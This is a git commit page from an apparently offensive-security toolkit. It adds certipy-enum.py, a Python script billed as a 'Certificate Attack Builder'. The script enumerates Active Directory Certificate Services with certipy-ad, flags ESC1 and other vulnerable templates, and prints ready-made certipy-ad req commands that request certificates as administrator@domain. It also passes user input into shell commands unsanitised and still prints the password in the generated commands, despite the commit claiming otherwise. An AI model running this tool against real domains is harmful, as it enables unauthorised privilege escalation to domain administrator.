Fix 11 bugs found in full codebase review

- deploy_phishing.py: undefined extra_vars on orchestration playbook
- freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable()
- freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call
- certipy-enum.py: password exposed in process list and logs; pass via env var
- cleanup_engine.py: load_vars_file() called with path string, expects provider name
- ioc-u.py: scapy import not guarded; tool crashed if scapy missing
- um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers
- ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var
- recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user
- um-crack.py: missing --scope flag inconsistent with all other Umbra tools
- heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
n0mad1k
2026-04-01 22:11:01 -04:00
parent c0765482d2
commit fe519c9fcf
12 changed files with 4034 additions and 84 deletions
+353
View File
@@ -0,0 +1,353 @@
#!/usr/bin/env python3
import subprocess
import re
import sys
import os
import glob
import json
# Ops hook (safe no-op if c2itall not available)
try:
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
from utils.ops_hook import OpsHook as _OpsHook
except ImportError:
_OpsHook = None
def run_command(cmd):
"""Run a command and return its output"""
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", "Command timed out", 1
def read_latest_certipy_files():
"""Read the latest certipy output files"""
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
txt_content = ""
json_content = {}
if txt_files:
latest_txt = max(txt_files, key=os.path.getctime)
try:
with open(latest_txt, 'r', encoding='utf-8') as f:
txt_content = f.read()
except:
txt_content = ""
if json_files:
latest_json = max(json_files, key=os.path.getctime)
try:
with open(latest_json, 'r', encoding='utf-8') as f:
json_content = json.load(f)
except Exception as e:
print(f"[!] Error reading JSON: {e}")
# Try reading as text and debugging
try:
with open(latest_json, 'r', encoding='utf-8') as f:
raw_content = f.read()
pass # raw content available for debugging if needed
except:
pass
json_content = {}
return txt_content, json_content
def parse_cas_from_json(json_data):
"""Extract CAs from JSON data - looking for CA Name field"""
cas = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "CA Name" in ca_info:
cas.append(ca_info["CA Name"])
except Exception as e:
print(f"[!] Error parsing CAs: {e}")
return cas
def parse_templates_from_json(json_data):
"""
Extract templates and identify vulnerabilities:
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
- ESC2/ESC3: Look in [*] Remarks section
- User Enrollable: Look for [+] User Enrollable Principals
"""
all_templates = []
vulnerable_templates = []
user_enrollable_templates = []
esc1_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "Template Name" in template_info:
template_name = template_info["Template Name"]
all_templates.append(template_name)
# Check if enabled
is_enabled = template_info.get("Enabled", False)
# Check for ESC1: Enrollee Supplies Subject + enabled
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
if enrollee_supplies and is_enabled:
esc1_templates.append(template_name)
vulnerable_templates.append(f"{template_name} (ESC1)")
# Check for vulnerabilities in [*] Remarks
if "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
# Check for [+] User Enrollable Principals
if "[+] User Enrollable Principals" in template_info:
user_enrollable_templates.append(template_name)
except Exception as e:
print(f"[!] Error parsing templates: {e}")
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
def parse_targets_from_json(json_data):
"""Extract CA DNS names for targeting"""
targets = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
targets.append(ca_info["DNS Name"])
except Exception as e:
print(f"[!] Error parsing targets: {e}")
return targets
def parse_esc_vulnerabilities(json_data):
"""Extract ESC vulnerabilities from CA and template remarks"""
esc_vulns = []
try:
# CA level ESC (like ESC8)
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
remarks = ca_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
# Template level ESC
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
except Exception as e:
print(f"[!] Error parsing ESC vulnerabilities: {e}")
return list(set(esc_vulns))
def get_template_permissions(json_data, template_name):
"""Get who can enroll in this template"""
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
# Look for enrollment rights
permissions = template_info.get("Permissions", {})
if isinstance(permissions, dict):
enrollment_perms = permissions.get("Enrollment Permissions", {})
if isinstance(enrollment_perms, dict):
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
return enrollment_rights if isinstance(enrollment_rights, list) else []
except Exception as e:
print(f"[!] Error getting permissions for {template_name}: {e}")
return []
def get_enabled_templates(json_data):
"""Get list of enabled templates"""
enabled_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict):
template_name = template_info.get("Template Name", "")
is_enabled = template_info.get("Enabled", False)
if is_enabled and template_name:
enabled_templates.append(template_name)
except Exception as e:
print(f"[!] Error getting enabled templates: {e}")
return enabled_templates
def main():
# Ops hook
_hook = _OpsHook("certipy-enum") if _OpsHook else None
if _hook:
_hook.register()
print("=" * 60)
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
print("=" * 60)
# Get user input
username = input("Enter username (user@domain.com): ")
password = input("Enter password: ")
dc_ip = input("Enter DC IP: ")
print("\n[*] Running certipy-ad enumeration...")
# Pass password via environment variable — keeps it out of process list and logs
os.environ['_CERTIPY_PASS'] = password
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
# Run basic enumeration
print("[*] Finding Certificate Authorities and basic info...")
stdout, stderr, returncode = run_command(find_cmd)
if returncode != 0:
os.environ.pop('_CERTIPY_PASS', None)
print(f"[!] Error running certipy-ad find: {stderr}")
return
# Run vulnerability scan
print("[*] Scanning for vulnerable templates...")
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
os.environ.pop('_CERTIPY_PASS', None)
# Read the saved files
print("[*] Reading certipy output files...")
txt_content, json_content = read_latest_certipy_files()
if not json_content:
print("[!] No JSON data found. Check the certipy output files manually.")
return
# Parse results from JSON
cas = parse_cas_from_json(json_content)
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
targets = parse_targets_from_json(json_content)
esc_vulns = parse_esc_vulnerabilities(json_content)
enabled_templates = get_enabled_templates(json_content)
# Display results
print("\n" + "=" * 60)
print("ENUMERATION RESULTS")
print("=" * 60)
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
for i, ca in enumerate(cas, 1):
print(f" {i}. {ca}")
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
for i, target in enumerate(targets, 1):
print(f" {i}. {target}")
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
for esc in esc_vulns:
print(f" - {esc}")
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
for i, template in enumerate(vulnerable_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
for i, template in enumerate(user_enrollable_templates, 1):
permissions = get_template_permissions(json_content, template)
perms_str = ', '.join(permissions) if permissions else "Check manually"
print(f" {i}. {template} -> {perms_str}")
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
for i, template in enumerate(esc1_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
for i, template in enumerate(enabled_templates[:10], 1):
print(f" {i}. {template}")
if len(enabled_templates) > 10:
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
# Build attack commands
if cas and targets:
domain = username.split('@')[1] if '@' in username else 'company.com'
print("\n" + "=" * 60)
print("RECOMMENDED ATTACK COMMANDS")
print("=" * 60)
ca_name = cas[0]
target_name = targets[0]
# Priority: ESC1 templates, then user enrollable, then common enabled ones
priority_templates = []
# Add ESC1 templates first (highest priority)
for template in esc1_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add user enrollable templates
for template in user_enrollable_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add common templates if they're enabled
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
for template in common_templates:
if template in enabled_templates and template not in priority_templates:
priority_templates.append(template)
# Limit to top 5
priority_templates = priority_templates[:5]
if not priority_templates:
priority_templates = enabled_templates[:3]
print(f"\n[*] Using CA: {ca_name}")
print(f"[*] Using Target: {target_name}")
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
for i, template in enumerate(priority_templates, 1):
permissions = get_template_permissions(json_content, template)
print(f"\n[{i}] Template: {template}")
if permissions:
print(f" Permissions: {', '.join(permissions)}")
else:
print(f" Permissions: Check manually")
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
print(f" Command: {cmd}")
print(f"\n[*] Output files created:")
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
for f in sorted(txt_files[-2:] + json_files[-2:]):
print(f" - {f}")
else:
print("\n[!] Insufficient data found for building attack commands.")
print(" Try running the commands manually with known templates.")
if __name__ == "__main__":
main()